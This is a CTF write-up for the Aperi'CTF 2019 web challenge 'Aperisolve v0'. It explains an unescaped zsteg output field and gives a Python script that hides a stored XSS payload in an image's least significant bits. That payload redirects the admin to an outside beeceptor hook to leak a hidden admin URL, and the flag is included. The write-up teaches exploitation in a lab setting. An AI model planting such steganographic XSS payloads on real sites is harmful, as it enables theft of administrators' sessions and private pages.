Aperi’CTF 2019 - Aperisolve v0
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
Aperi’CTF 2019 | Aperisolve v0 | Web | 100 | 3 |
Un membre de l’équipe Aperi’Kube a développé une platforme de stéganographie. Ce dernier l’utilise régulièrement pour superviser les uploads d’image et voler des flags ! A votre tour de voler le flag en accédant à l’accès administrateur.
Note: la platforme originale est disponible à l’adresse https://aperisolve.fr, cette dernière n’est pas vulnérable. Il est interdit d’attaquer la platforme originale.
https://aperisolve-v0.aperictf.fr
TL;DR
Hide XSS payload into LSB of an image and submit the image.
Methodology
![home.jpg](/files/aperictf_2019/aperisolve_v0/home.jpg)
After few try, we see that the web platform only accept image file as mentioned. Let's how the platform react when we send a valid image. Here, I'll send the following file:
![part2.jpg](/files/aperictf_2019/aperisolve_v0/part2.jpg)
The platform seems to work: it display each bit layers and show the output of exif and zsteg.
Our goal is to access the admin panel but we couldn't find any login page. However, we know that the administrator supervise regularly images submissions.
Maybe we can steal his cookie or leak his current URL with an XSS ? Since the website display Exif and Zsteg output, we can look at the JavaScript code to see if there is any protection.
Main.js
:
$(document).ready(function(){
$("#checkzsteg").click(function(){
$(this).toggleClass("active");
$("#incheckzsteg").attr("value", (1+parseInt($("#incheckzsteg").attr("value")))%2);
});
function escapeHtml(text) {
return text
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
// ...
function askforfile(){
if (filename == "0"){
$("#txtbut").html("ERROR ! Reload page :/")
}
dragdropok = false;
$.get( "uploads/"+filename, function( data ) {
data = data.split("*");
imgsdata = data.pop();
data[0] = atob(data[0]);
data[0] = "<h2 class='h2info'>Exif</h2>"+escapeHtml(data[0]);
data[1] = atob(data[1]);
data[1] = "<h2 class='h2info'>Zsteg</h2>"+data[1];
data = data.join("");
data = data.replace('\r\n','\r');
// ...
});
}
});
First of all, there is a function called escapeHtml
which escape html entities agains XSS. If we look at the source code, the function is used for Exif data escapeHtml(data[0]);
but not for Zsteg data. In other word, output of Zsteg data is directly set into the page without any front-end XSS protection.
If we have a look at Zsteg, we know that we can hide xss payload into an image in order to display the payload on the result page. Let’s write a python script that will hide our XSS payload into the LSB of an image. We could have chosen another zsteg functionality such as MSB.
Here is our script to embed string into the LSB of an image:
# -*- coding: utf-8 -*-
from PIL import Image
import random
import string
from Crypto.Cipher import AES
img = Image.open("profile.png") # Open image with PIL
w,h = img.size
pxs = list(img.getdata())
##########################################
# Encode payload in LSB #
##########################################
# XSS Payload
text = "<script>document.location='https//zeecka.free.beeceptor.com';</script>"
text += " "*w*h # pad with spaces
binary = ''.join('{:08b}'.format(ord(c)) for c in text)
newdata = []
x = 0
for i in range(h):
for j in range(w):
c = pxs[i*w+j] # Current
r = c[0] - c[0]%2 + int(binary[x]) # Set LSB to 0 then update
g = c[1] - c[1]%2 + int(binary[x+1]) # Set LSB to 0 then update
b = c[2] - c[2]%2 + int(binary[x+2]) # Set LSB to 0 then update
newdata.append((r,g,b))
x += 3
new = Image.new(img.mode,img.size)
new.putdata(newdata)
new.show()
new.save(imgPath+"_payload.png") # New image
Here our payload is a document.location
to an hook URL such as beeceptor: <script>document.location='https//zeecka.free.beeceptor.com';</script>
.
Let’s upload the image and see if it works…
…
Yes it does ! We got redirected to `https//zeecka.free.beeceptor.com`. Now we can wait for the administrator...
10 seconds later:
We got a request from the admin ! If we look at the header, we can leak the admin page: `896ef65f009be190c6346d3bc7eaa84764ce2217efaee49cf8f1c0e31f969cff.php`.
Now if we reach https://aperisolve-v0.aperictf.fr/896ef65f009be190c6346d3bc7eaa84764ce2217efaee49cf8f1c0e31f969cff.php we get:
Flag
APRK{We1rdXSSV3ct0r}